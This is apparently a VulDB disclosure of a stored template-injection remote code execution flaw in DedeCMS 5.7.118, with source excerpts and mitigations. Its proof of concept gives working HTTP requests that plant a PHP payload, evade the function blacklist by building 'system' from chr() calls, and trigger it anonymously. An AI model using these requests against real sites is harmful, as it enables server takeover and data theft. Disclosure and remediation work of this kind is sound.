Submit #944743: Shanghai Zhuozhuo Network Technology Co.,Ltd. DedeCMS 5.7.118 CWE-94

# VulDB Submission — DedeCMS mytag_js.php RCE

**Vendor:** DedeCMS (DesDev Inc.)

**Product:** DedeCMS (织梦内容管理系统 / Zend Content Management System)

**Version:** 5.7.118 (V57_UTF8_SP2_118, build 20250730)

**Class:** CWE-94 (Improper Control of Generation of Code) / CWE-1336 (Template Injection) — Remote Code Execution (RCE)

---

## Description

**Summary**

DedeCMS 5.7.118 is vulnerable to a stored template injection that leads to arbitrary remote code execution. The template parser `DedeTagParse` (`include/dedetag.class.php`) executes the inner content of any template tag carrying the `runphp="yes"` attribute through `@eval()`. The front-end script `plus/mytag_js.php` performs no authentication or authorization check; an anonymous request loads an arbitrary `#@__mytag` record and passes its `normbody` to the template engine. Any back-end account holding the `temp_Other` privilege (template management, not necessarily administrator) can create a custom tag whose body contains a malicious `{dede:php runphp="yes"}...{/dede:php}` payload; an unauthenticated request to `/plus/mytag_js.php?aid=<id>&nocache=1` then triggers arbitrary code execution as the web-server user. The dangerous-content filter in `mytag_js.php` runs after `GetResult()` (i.e. after `eval()`), so it cannot block execution. The vulnerability has been confirmed on PHP 7.4 by executing the `id` command and observing `uid=33(www-data)`.

**Vulnerable entry point (unauthenticated):** `plus/mytag_js.php` lines ~17–48

```php
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0; // attacker-controlled, numeric
...
$row = $pv->dsql->GetOne("SELECT * FROM `#@__mytag` WHERE aid='$aid'");
...
$pv->SetTemplet($tagbody, 'string'); // $tagbody = mytag.normbody
$myvalues = $pv->GetResult(); // template parsing (and eval) happens here
```

No `MemberLogin` / `CheckLogin` call is present — the endpoint is fully anonymous.

**Execution primitive:** `include/dedetag.class.php` lines ~668–717 (`AssignSysTag()` / `RunPHP()`)

```php
// AssignSysTag()
if( $CTag->GetAtt('runphp') == 'yes' ) {
$this->RunPHP($CTag, $i);
}
...
// RunPHP()
$phpcode = $refObj->GetInnerText();
global $cfg_disable_funs; // blacklist: phpinfo,eval,assert,exec,system,passthru,shell_exec,...
foreach (explode(",", $cfg_disable_funs) as $value) {
... // regex blacklist check on $phpcode, dies if matched
}
@eval($phpcode); // arbitrary code execution
```

The blacklist check runs before `eval()`, but is bypassed by concatenating the function name, e.g. `chr(115).chr(121).chr(115).chr(116).chr(101).chr(109)` builds the string `system` which does not match the blacklist regex.

**Write primitive (requires `temp_Other`):** `dede/mytag_add.php:14` — `CheckPurview('temp_Other');`. Any back-end account holding the "Template → Other" privilege can create a custom tag; the `normbody` is stored verbatim in `#@__mytag` (verified in the database).

**Environment prerequisite:** PHP < 8.0. On PHP 8 the DedeCMS template engine itself crashes (`dedetemplate.class.php:645`), so the payload never reaches `eval()`; verified working on PHP 7.4.

**Proof of Concept**

Step 1 — create the malicious custom tag (back-end, `temp_Other`):

```
POST /dede/mytag_add.php HTTP/1.1
Cookie: PHPSESSID=<admin_session>
Content-Type: application/x-www-form-urlencoded

dopost=save&token=<csrf_token>&typeid=0&tagname=poc_cmd&timeset=0
&normbody={dede:php runphp="yes"}$f=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);$f("id");{/dede:php}
&expbody=
```

Step 2 — trigger anonymously:

```
GET /plus/mytag_js.php?aid=<tag_id>&nocache=1 HTTP/1.1
Host: <target>
```

Step 3 — observed result:

```
HTTP/1.1 200 OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

**Impact**

Arbitrary OS command execution as the web-server user (`www-data`); full compromise of the host is likely via privilege escalation. Database contents (including administrator password hashes) can be exfiltrated. The trigger endpoint is anonymous with no rate limit, so the payload acts as a persistent backdoor.

**Mitigation**

1. Remove or restrict the `runphp="yes"` and `{dede:php}` template tags; only allow PHP tags in trusted static templates, never in database-driven dynamic content.
2. In `plus/mytag_js.php`, sanitize the mytag content before passing it to the template engine, and apply strict output encoding.
3. Apply least privilege to the `temp_Other` back-end permission.
4. If PHP tags must remain, use a real sandbox/whitelist instead of arbitrary `eval()`.
5. Upgrade to the latest official release and follow DedeCMS security advisories.

**References**

- DedeCMS: http://www.dedecms.com
- CWE-94: https://cwe.mitre.org/data/definitions/94.html
- CWE-1336: https://cwe.mitre.org/data/definitions/1336.html

> Reproduction was performed on an authorized self-hosted lab environment. Reported for vulnerability disclosure and remediation purposes.

• User: BlackSpdier (UID 89912)
• Submission: 08/24/2026 14:20 (26 days ago)
• Moderation: 09/19/2026 16:51 (26 days later)
• Status: Accepted
• VulDB entry: 407953 [DedeCMS up to 5.7.118 plus/mytag_js.php aid code injection]
• Points: 17